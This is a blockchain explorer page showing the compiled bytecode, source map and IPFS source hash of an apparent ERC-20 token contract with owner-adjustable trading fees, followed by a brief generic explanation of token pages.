5760405162461bcd60e51b81526004016105f9906113d7565b60405180910390fd5b6000601655565b6000610616848484610b1f565b6001600160a01b038416600090815260026020908152604080832033845290915290205460001914610696576001600160a01b0384166000908152600260209081526040808320338452909152902054610671908390611418565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6000546001600160a01b031633146106ca5760405162461bcd60e51b81526004016105f9906113d7565b601094909455601192909255601255601355601455565b6000546001600160a01b0316331461070b5760405162461bcd60e51b81526004016105f9906113d7565b601555565b6000546001600160a01b0316331461073a5760405162461bcd60e51b81526004016105f9906113d7565b6016541561077a5760405162461bcd60e51b815260206004820152600d60248201526c185b1c9958591e481cdd185c9d609a1b60448201526064016105f9565b43601655565b6000546001600160a01b031633146107aa5760405162461bcd60e51b81526004016105f9906113d7565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600680546105359061139d565b6000546001600160a01b0316331461082d5760405162461bcd60e51b81526004016105f9906113d7565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b6003546001600160a01b0316331461086f57600080fd5b6003546040516370a0823160e01b81523060048201526001600160a01b038381169263a9059cbb9291169083906370a0823190602401602060405180830381865afa1580156108c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108e6919061142b565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af1158015610931573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109559190611444565b506003546040516001600160a01b03909116904780156108fc02916000818181858888f1935050505015801561098f573d6000803e3d6000fd5b5050565b60006105c5338484610b1f565b6000546001600160a01b031633146109ca5760405162461bcd60e51b81526004016105f9906113d7565b600380546001600160a01b039384166001600160a01b03199182161790915560048054929093169116179055565b6000546001600160a01b03163314610a225760405162461bcd60e51b81526004016105f9906113d7565b6001600160a01b038116610a635760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b60448201526064016105f9565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526001602052604090205481811015610b7b5760405162461bcd60e51b815260206004820152601060248201526f0c4c2d8c2dcc6ca9cdee88adcdeeaced60831b60448201526064016105f9565b600c5460ff1615610b9857610b91848484610d4c565b5050505050565b6001600160a01b0383166000908152600b602052604081205460ff168015610bc35750600c5460ff16155b8015610be857506001600160a01b03851660009081526008602052604090205460ff16155b8015610c0d57506001600160a01b03841660009081526008602052604090205460ff16155b8015610c1c5750601454600d54115b15610c6157306000908152600160205260409020548390811115610c4c5750306000908152600160205260409020545b601554811115610c5f57610c5f81610e01565b505b6001600160a01b03851660009081526008602052604090205460ff16158015610ca357506001600160a01b03841660009081526008602052604090205460ff16155b8015610cb25750600c5460ff16155b15610d4057600060165411610cc657600080fd5b506001600160a01b0384166000908152600b602052604090205460019060ff168015610d005750600a546001600160a01b03858116911614155b8015610d2557506001600160a01b03841660009081526008602052604090205460ff16155b15610d4057600d8054906000610d3a83611461565b91905055505b610b9185858584610fe9565b6001600160a01b038316600090815260016020526040812080548391908390610d76908490611418565b90915550506001600160a01b03831660009081526001602052604081208054849290610da390849061147a565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610def91815260200190565b60405180910390a35060019392505050565b600c805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e4357610e4361148d565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e9c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ec091906114a3565b81600181518110610ed357610ed361148d565b6001600160a01b039283166020918202929092010152600a5460405163791ac94760e01b815291169063791ac94790610f199085906000908690309042906004016114c0565b600060405180830381600087803b158015610f3357600080fd5b505af1158015610f47573d6000803e3d6000fd5b504792505050662386f26fc10000811115610fda576003546001600160a01b03166108fc610f76600a84611531565b6040518115909202916000818181858888f19350505050158015610f9e573d6000803e3d6000fd5b506004546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610fd8573d6000803e3d6000fd5b505b5050600c805460ff1916905550565b6001600160a01b03841660009081526001602052604090205461100d908390611418565b6001600160a01b038516600090815260016020526040812091909155811561114e576001600160a01b0384166000908152600b602052604081205460ff161561106e57601354600d541161106357600f54611067565b6011545b90506110a9565b6001600160a01b0386166000908152600b602052604090205460ff16156110a957601254600d54116110a257600e546110a6565b6010545b90505b600060646110b78387611553565b6110c19190611531565b9050801561114b576110d3818461147a565b306000908152600160205260409020549093506110f190829061147a565b30600081815260016020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111429085815260200190565b60405180910390a35b50505b6111588184611418565b6001600160a01b03851660009081526001602052604090205461117b919061147a565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111c58487611418565b60405190815260200160405180910390a35050505050565b600060208083528351808285015260005b8181101561120a578581018301518582016040015282016111ee565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461124057600080fd5b50565b6000806040838503121561125657600080fd5b82356112618161122b565b946020939093013593505050565b60008060006060848603121561128457600080fd5b833561128f8161122b565b9250602084013561129f8161122b565b929592945050506040919091013590565b6000602082840312156112c257600080fd5b81356112cd8161122b565b9392505050565b600080600080600060a086880312156112ec57600080fd5b505083359560208501359550604085013594606081013594506080013592509050565b60006020828403121561132157600080fd5b5035919050565b801515811461124057600080fd5b6000806040838503121561134957600080fd5b82356113548161122b565b9150602083013561136481611328565b809150509250929050565b6000806040838503121561138257600080fd5b823561138d8161122b565b915060208301356113648161122b565b600181811c908216806113b157607f821691505b6020821081036113d157634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b818103818111156105c9576105c9611402565b60006020828403121561143d57600080fd5b5051919050565b60006020828403121561145657600080fd5b81516112cd81611328565b60006001820161147357611473611402565b5060010190565b808201808211156105c9576105c9611402565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156114b557600080fd5b81516112cd8161122b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115105784516001600160a01b0316835293830193918301916001016114eb565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261154e57634e487b7160e01b600052601260045260246000fd5b500490565b80820281158282048414176105c9576105c961140256fea2646970667358221220c2d97d57139771ab91623731af5d746a836244cabb4d0f1b05fc8086fe8fc71364736f6c63430008140033

Deployed Bytecode Sourcemap

3188:8367:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5454:94;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6217:159;;;;;;;;;;-1:-1:-1;6217:159:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6217:159:0;1023:187:1;10480:78:0;;;;;;;;;;;;;:::i;:::-;;5658:100;;;;;;;;;;-1:-1:-1;5738:12:0;;5658:100;;;1361:25:1;;;1349:2;1334:18;5658:100:0;1215:177:1;6384:336:0;;;;;;;;;;-1:-1:-1;6384:336:0;;;;;:::i;:::-;;:::i;7180:26::-;;;;;;;;;;;;;;;;5556:94;;;;;;;;;;-1:-1:-1;5633:9:0;;5556:94;;5633:9;;;;2000:36:1;;1988:2;1973:18;5556:94:0;1858:184:1;3511:49:0;;;;;;;;;;-1:-1:-1;3511:49:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3645:44;;;;;;;;;;-1:-1:-1;3645:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;7498:406;;;;;;;;;;-1:-1:-1;7498:406:0;;;;;:::i;:::-;;:::i;3771:27::-;;;;;;;;;;-1:-1:-1;3771:27:0;;;;;;;-1:-1:-1;;;;;3771:27:0;;;;;;-1:-1:-1;;;;;2922:32:1;;;2904:51;;2892:2;2877:18;3771:27:0;2758:203:1;10290:30:0;;;;;;;;;;;;;;;;7939:117;;;;;;;;;;-1:-1:-1;7939:117:0;;;;;:::i;:::-;;:::i;3602:36::-;;;;;;;;;;-1:-1:-1;3602:36:0;;;;-1:-1:-1;;;;;3602:36:0;;;10327:145;;;;;;;;;;;;;:::i;5766:119::-;;;;;;;;;;-1:-1:-1;5766:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5859:18:0;5832:7;5859:18;;;:9;:18;;;;;;;5766:119;2811:148;;;;;;;;;;;;;:::i;3357:26::-;;;;;;;;;;-1:-1:-1;3357:26:0;;;;-1:-1:-1;;;;;3357:26:0;;;2614:79;;;;;;;;;;-1:-1:-1;2652:7:0;2679:6;-1:-1:-1;;;;;2679:6:0;2614:79;;5348:98;;;;;;;;;;;;;:::i;11386:129::-;;;;;;;;;;-1:-1:-1;11386:129:0;;;;;:::i;:::-;;:::i;10566:217::-;;;;;;;;;;-1:-1:-1;10566:217:0;;;;;:::i;:::-;;:::i;5893:165::-;;;;;;;;;;-1:-1:-1;5893:165:0;;;;;:::i;:::-;;:::i;5178:162::-;;;;;;;;;;-1:-1:-1;5178:162:0;;;;;:::i;:::-;;:::i;6066:143::-;;;;;;;;;;-1:-1:-1;6066:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6174:18:0;;;6147:7;6174:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6066:143;2967:214;;;;;;;;;;-1:-1:-1;2967:214:0;;;;;:::i;:::-;;:::i;5454:94::-;5502:13;5535:5;5528:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5454:94;:::o;6217:159::-;6292:4;6309:37;6318:10;6330:7;6339:6;6309:8;:37::i;:::-;-1:-1:-1;6364:4:0;6217:159;;;;;:::o;10480:78::-;2741:6;;-1:-1:-1;;;;;2741:6:0;2751:10;2741:20;2733:50;;;;-1:-1:-1;;;2733:50:0;;;;;;;:::i;:::-;;;;;;;;;10549:1:::1;10531:15;:19:::0;10480:78::o;6384:336::-;6482:4;6499:36;6509:6;6517:9;6528:6;6499:9;:36::i;:::-;-1:-1:-1;;;;;6550:19:0;;3762:1;6550:19;;;:11;:19;;;;;;;;6570:10;6550:31;;;;;;;;-1:-1:-1;;6550:38:0;6546:145;;-1:-1:-1;;;;;6639:19:0;;;;;;:11;:19;;;;;;;;6659:10;6639:31;;;;;;;;:40;;6673:6;;6639:40;:::i;:::-;-1:-1:-1;;;;;6605:19:0;;;;;;:11;:19;;;;;;;;6625:10;6605:31;;;;;;;:74;6546:145;-1:-1:-1;6708:4:0;6384:336;;;;;:::o;7498:406::-;2741:6;;-1:-1:-1;;;;;2741:6:0;2751:10;2741:20;2733:50;;;;-1:-1:-1;;;2733:50:0;;;;;;;:::i;:::-;7705:12:::1;:21:::0;;;;7737:13:::1;:23:::0;;;;7771:15:::1;:30:::0;7812:16:::1;:32:::0;7855:18:::1;:41:::0;7498:406::o;7939:117::-;2741:6;;-1:-1:-1;;;;;2741:6:0;2751:10;2741:20;2733:50;;;;-1:-1:-1;;;2733:50:0;;;;;;;:::i;:::-;8025:12:::1;:23:::0;7939:117::o;10327:145::-;2741:6;;-1:-1:-1;;;;;2741:6:0;2751:10;2741:20;2733:50;;;;-1:-1:-1;;;2733:50:0;;;;;;;:::i;:::-;10385:15:::1;::::0;:20;10377:46:::1;;;::::0;-1:-1:-1;;;10377:46:0;;6115:2:1;10377:46:0::1;::::0;::::1;6097:21:1::0;6154:2;6134:18;;;6127:30;-1:-1:-1;;;6173:18:1;;;6166:43;6226:18;;10377:46:0::1;5913:337:1::0;10377:46:0::1;10452:12;10434:15;:30:::0;10327:145::o;2811:148::-;2741:6;;-1:-1:-1;;;;;2741:6:0;2751:10;2741:20;2733:50;;;;-1:-1:-1;;;2733:50:0;;;;;;;:::i;:::-;2918:1:::1;2902:6:::0;;2881:40:::1;::::0;-1:-1:-1;;;;;2902:6:0;;::::1;::::0;2881:40:::1;::::0;2918:1;;2881:40:::1;2949:1;2932:19:::0;;-1:-1:-1;;;;;;2932:19:0::1;::::0;;2811:148::o;5348:98::-;5398:13;5431:7;5424:14;;;;;:::i;11386:129::-;2741:6;;-1:-1:-1;;;;;2741:6:0;2751:10;2741:20;2733:50;;;;-1:-1:-1;;;2733:50:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11473:26:0;;;::::1;;::::0;;;:17:::1;:26;::::0;;;;:34;;-1:-1:-1;;11473:34:0::1;::::0;::::1;;::::0;;;::::1;::::0;;11386:129::o;10566:217::-;10645:3;;-1:-1:-1;;;;;10645:3:0;10631:10;:17;10623:26;;;;;;10684:3;;10689:39;;-1:-1:-1;;;10689:39:0;;10722:4;10689:39;;;2904:51:1;-1:-1:-1;;;;;10660:23:0;;;;;;10684:3;;;10660:23;;10689:24;;2877:18:1;;10689:39:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10660:69;;-1:-1:-1;;;;;;10660:69:0;;;;;;;-1:-1:-1;;;;;6644:32:1;;;10660:69:0;;;6626:51:1;6693:18;;;6686:34;6599:18;;10660:69:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;10740:3:0;;:35;;-1:-1:-1;;;;;10740:3:0;;;;10753:21;10740:35;;;;;:3;:35;:3;:35;10753:21;10740:3;:35;;;;;;;;;;;;;;;;;;;;;10566:217;:::o;5893:165::-;5971:4;5988:40;5998:10;6010:9;6021:6;5988:9;:40::i;5178:162::-;2741:6;;-1:-1:-1;;;;;2741:6:0;2751:10;2741:20;2733:50;;;;-1:-1:-1;;;2733:50:0;;;;;;;:::i;:::-;5295:3:::1;:12:::0;;-1:-1:-1;;;;;5295:12:0;;::::1;-1:-1:-1::0;;;;;;5295:12:0;;::::1;;::::0;;;5318:4:::1;:14:::0;;;;;::::1;::::0;::::1;;::::0;;5178:162::o;2967:214::-;2741:6;;-1:-1:-1;;;;;2741:6:0;2751:10;2741:20;2733:50;;;;-1:-1:-1;;;2733:50:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3056:22:0;::::1;3048:43;;;::::0;-1:-1:-1;;;3048:43:0;;7183:2:1;3048:43:0::1;::::0;::::1;7165:21:1::0;7222:1;7202:18;;;7195:29;-1:-1:-1;;;7240:18:1;;;7233:38;7288:18;;3048:43:0::1;6981:331:1::0;3048:43:0::1;3128:6;::::0;;3107:38:::1;::::0;-1:-1:-1;;;;;3107:38:0;;::::1;::::0;3128:6;::::1;::::0;3107:38:::1;::::0;::::1;3156:6;:17:::0;;-1:-1:-1;;;;;;3156:17:0::1;-1:-1:-1::0;;;;;3156:17:0;;;::::1;::::0;;;::::1;::::0;;2967:214::o;6728:177::-;-1:-1:-1;;;;;6813:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6865:32;;1361:25:1;;;6865:32:0;;1334:18:1;6865:32:0;;;;;;;6728:177;;;:::o;8064:1177::-;-1:-1:-1;;;;;5859:18:0;;8178:15;5859:18;;;:9;:18;;;;;;8230:17;;;;8222:46;;;;-1:-1:-1;;;8222:46:0;;7519:2:1;8222:46:0;;;7501:21:1;7558:2;7538:18;;;7531:30;-1:-1:-1;;;7577:18:1;;;7570:46;7633:18;;8222:46:0;7317:340:1;8222:46:0;8285:6;;;;8281:91;;;8307:32;8322:4;8328:2;8332:6;8307:14;:32::i;:::-;;8354:7;8064:1177;;;:::o;8281:91::-;-1:-1:-1;;;;;8413:16:0;;8384:12;8413:16;;;:12;:16;;;;;;;;:27;;;;-1:-1:-1;8434:6:0;;;;8433:7;8413:27;:55;;;;-1:-1:-1;;;;;;8445:23:0;;;;;;:17;:23;;;;;;;;8444:24;8413:55;:81;;;;-1:-1:-1;;;;;;8473:21:0;;;;;;:17;:21;;;;;;;;8472:22;8413:81;:115;;;;;8510:18;;8498:9;;:30;8413:115;8409:424;;;8628:4;5832:7;5859:18;;;:9;:18;;;;;;8569:6;;8594:13;:40;8590:120;;;-1:-1:-1;8688:4:0;8670:24;;;;:9;:24;;;;;;8590:120;8744:12;;8728:13;:28;8724:98;;;8776:30;8792:13;8776:15;:30::i;:::-;8530:303;8409:424;-1:-1:-1;;;;;8850:23:0;;;;;;:17;:23;;;;;;;;8849:24;:50;;;;-1:-1:-1;;;;;;8878:21:0;;;;;;:17;:21;;;;;;;;8877:22;8849:50;:61;;;;-1:-1:-1;8904:6:0;;;;8903:7;8849:61;8845:335;;;8953:1;8935:15;;:19;8927:28;;;;;;-1:-1:-1;;;;;;9042:18:0;;;;;;:12;:18;;;;;;8980:4;;9042:18;;:51;;;;-1:-1:-1;9078:14:0;;-1:-1:-1;;;;;9064:29:0;;;9078:14;;9064:29;;9042:51;:77;;;;-1:-1:-1;;;;;;9098:21:0;;;;;;:17;:21;;;;;;;;9097:22;9042:77;9038:129;;;9140:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9038:129;9192:41;9207:4;9213:2;9217:6;9225:7;9192:14;:41::i;6913:259::-;-1:-1:-1;;;;;7023:17:0;;7006:4;7023:17;;;:9;:17;;;;;:27;;7044:6;;7023:17;7006:4;;7023:27;;7044:6;;7023:27;:::i;:::-;;;;-1:-1:-1;;;;;;;7061:20:0;;;;;;:9;:20;;;;;:30;;7085:6;;7061:20;:30;;7085:6;;7061:30;:::i;:::-;;;;;;;;7124:9;-1:-1:-1;;;;;7107:35:0;7116:6;-1:-1:-1;;;;;7107:35:0;;7135:6;7107:35;;;;1361:25:1;;1349:2;1334:18;;1215:177;7107:35:0;;;;;;;;-1:-1:-1;7160:4:0;6913:259;;;;;:::o;10791:587::-;3837:6;:13;;-1:-1:-1;;3837:13:0;3846:4;3837:13;;;10892:16:::1;::::0;;10906:1:::1;10892:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10892:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10892:16:0::1;10868:40;;10937:4;10919;10924:1;10919:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10919:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10963:14:::1;::::0;:21:::1;::::0;;-1:-1:-1;;;10963:21:0;;;;:14;;;::::1;::::0;:19:::1;::::0;:21:::1;::::0;;::::1;::::0;10919:7;;10963:21;;;;;:14;:21:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10953:4;10958:1;10953:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10953:31:0;;::::1;:7;::::0;;::::1;::::0;;;;;:31;10995:14:::1;::::0;:195:::1;::::0;-1:-1:-1;;;10995:195:0;;:14;::::1;::::0;:65:::1;::::0;:195:::1;::::0;11075:11;;10995:14:::1;::::0;11117:4;;11144::::1;::::0;11164:15:::1;::::0;10995:195:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;11218:21:0::1;::::0;-1:-1:-1;;;11261:10:0::1;11254:17:::0;::::1;11250:121;;;11287:3;::::0;-1:-1:-1;;;;;11287:3:0::1;:21;11300:7;11305:2;11300:4:::0;:7:::1;:::i;:::-;11287:21;::::0;;::::1;::::0;;::::1;::::0;::::1;::::0;;;;;;::::1;;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;11323:4:0::1;::::0;:36:::1;::::0;-1:-1:-1;;;;;11323:4:0;;::::1;::::0;11337:21:::1;11323:36:::0;::::1;;;::::0;:4:::1;:36:::0;:4;:36;11337:21;11323:4;:36;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;11250:121;-1:-1:-1::0;;3873:6:0;:14;;-1:-1:-1;;3873:14:0;;;-1:-1:-1;10791:587:0:o;9249:1031::-;-1:-1:-1;;;;;9421:17:0;;;;;;:9;:17;;;;;;:27;;9441:7;;9421:27;:::i;:::-;-1:-1:-1;;;;;9401:17:0;;;;;;:9;:17;;;;;:47;;;;9489:638;;;;-1:-1:-1;;;;;9550:23:0;;9517:14;9550:23;;;:12;:23;;;;;;;;9546:270;;;9615:16;;9603:9;;:28;:62;;9650:15;;9603:62;;;9634:13;;9603:62;9594:71;;9546:270;;;-1:-1:-1;;;;;9691:20:0;;;;;;:12;:20;;;;;;;;9687:129;;;9753:15;;9741:9;;:27;:59;;9786:14;;9741:59;;;9771:12;;9741:59;9732:68;;9687:129;9830:18;9870:3;9851:16;9861:6;9851:7;:16;:::i;:::-;:22;;;;:::i;:::-;9830:43;-1:-1:-1;9892:14:0;;9888:228;;9927:23;9940:10;9927:23;;:::i;:::-;10014:4;9996:24;;;;:9;:24;;;;;;9927:23;;-1:-1:-1;9996:37:0;;10023:10;;9996:37;:::i;:::-;9987:4;9969:24;;;;:9;:24;;;;;;;:64;;;;10057:43;;-1:-1:-1;;;;;10057:43:0;;;;;;;10089:10;1361:25:1;;1349:2;1334:18;;1215:177;10057:43:0;;;;;;;;9888:228;9502:625;;9489:638;10186:19;10196:9;10186:7;:19;:::i;:::-;-1:-1:-1;;;;;10162:20:0;;;;;;:9;:20;;;;;;:44;;;;:::i;:::-;-1:-1:-1;;;;;10139:20:0;;;;;;;:9;:20;;;;;:67;;;;10222:48;;;10250:19;10260:9;10250:7;:19;:::i;:::-;10222:48;;1361:25:1;;;1349:2;1334:18;10222:48:0;;;;;;;9390:890;9249:1031;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;:::-;2283:5;2047:247;-1:-1:-1;;;2047:247:1:o;2299:454::-;2394:6;2402;2410;2418;2426;2479:3;2467:9;2458:7;2454:23;2450:33;2447:53;;;2496:1;2493;2486:12;2447:53;-1:-1:-1;;2519:23:1;;;2589:2;2574:18;;2561:32;;-1:-1:-1;2640:2:1;2625:18;;2612:32;;2691:2;2676:18;;2663:32;;-1:-1:-1;2742:3:1;2727:19;2714:33;;-1:-1:-1;2299:454:1;-1:-1:-1;2299:454:1:o;2966:180::-;3025:6;3078:2;3066:9;3057:7;3053:23;3049:32;3046:52;;;3094:1;3091;3084:12;3046:52;-1:-1:-1;3117:23:1;;2966:180;-1:-1:-1;2966:180:1:o;3605:118::-;3691:5;3684:13;3677:21;3670:5;3667:32;3657:60;;3713:1;3710;3703:12;3728:382;3793:6;3801;3854:2;3842:9;3833:7;3829:23;3825:32;3822:52;;;3870:1;3867;3860:12;3822:52;3909:9;3896:23;3928:31;3953:5;3928:31;:::i;:::-;3978:5;-1:-1:-1;4035:2:1;4020:18;;4007:32;4048:30;4007:32;4048:30;:::i;:::-;4097:7;4087:17;;;3728:382;;;;;:::o;4115:404::-;4199:6;4207;4260:2;4248:9;4239:7;4235:23;4231:32;4228:52;;;4276:1;4273;4266:12;4228:52;4315:9;4302:23;4334:31;4359:5;4334:31;:::i;:::-;4384:5;-1:-1:-1;4441:2:1;4426:18;;4413:32;4454:33;4413:32;4454:33;:::i;4917:380::-;4996:1;4992:12;;;;5039;;;5060:61;;5114:4;5106:6;5102:17;5092:27;;5060:61;5167:2;5159:6;5156:14;5136:18;5133:38;5130:161;;5213:10;5208:3;5204:20;5201:1;5194:31;5248:4;5245:1;5238:15;5276:4;5273:1;5266:15;5130:161;;4917:380;;;:::o;5302:341::-;5504:2;5486:21;;;5543:2;5523:18;;;5516:30;-1:-1:-1;;;5577:2:1;5562:18;;5555:47;5634:2;5619:18;;5302:341::o;5648:127::-;5709:10;5704:3;5700:20;5697:1;5690:31;5740:4;5737:1;5730:15;5764:4;5761:1;5754:15;5780:128;5847:9;;;5868:11;;;5865:37;;;5882:18;;:::i;6255:184::-;6325:6;6378:2;6366:9;6357:7;6353:23;6349:32;6346:52;;;6394:1;6391;6384:12;6346:52;-1:-1:-1;6417:16:1;;6255:184;-1:-1:-1;6255:184:1:o;6731:245::-;6798:6;6851:2;6839:9;6830:7;6826:23;6822:32;6819:52;;;6867:1;6864;6857:12;6819:52;6899:9;6893:16;6918:28;6940:5;6918:28;:::i;7662:135::-;7701:3;7722:17;;;7719:43;;7742:18;;:::i;:::-;-1:-1:-1;7789:1:1;7778:13;;7662:135::o;7802:125::-;7867:9;;;7888:10;;;7885:36;;;7901:18;;:::i;8064:127::-;8125:10;8120:3;8116:20;8113:1;8106:31;8156:4;8153:1;8146:15;8180:4;8177:1;8170:15;8196:251;8266:6;8319:2;8307:9;8298:7;8294:23;8290:32;8287:52;;;8335:1;8332;8325:12;8287:52;8367:9;8361:16;8386:31;8411:5;8386:31;:::i;8452:980::-;8714:4;8762:3;8751:9;8747:19;8793:6;8782:9;8775:25;8819:2;8857:6;8852:2;8841:9;8837:18;8830:34;8900:3;8895:2;8884:9;8880:18;8873:31;8924:6;8959;8953:13;8990:6;8982;8975:22;9028:3;9017:9;9013:19;9006:26;;9067:2;9059:6;9055:15;9041:29;;9088:1;9098:195;9112:6;9109:1;9106:13;9098:195;;;9177:13;;-1:-1:-1;;;;;9173:39:1;9161:52;;9268:15;;;;9233:12;;;;9209:1;9127:9;9098:195;;;-1:-1:-1;;;;;;;9349:32:1;;;;9344:2;9329:18;;9322:60;-1:-1:-1;;;9413:3:1;9398:19;9391:35;9310:3;8452:980;-1:-1:-1;;;8452:980:1:o;9437:217::-;9477:1;9503;9493:132;;9547:10;9542:3;9538:20;9535:1;9528:31;9582:4;9579:1;9572:15;9610:4;9607:1;9600:15;9493:132;-1:-1:-1;9639:9:1;;9437:217::o;9659:168::-;9732:9;;;9763;;9780:15;;;9774:22;;9760:37;9750:71;;9801:18;;:::i

Swarm Source

ipfs://c2d97d57139771ab91623731af5d746a836244cabb4d0f1b05fc8086fe8fc713
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.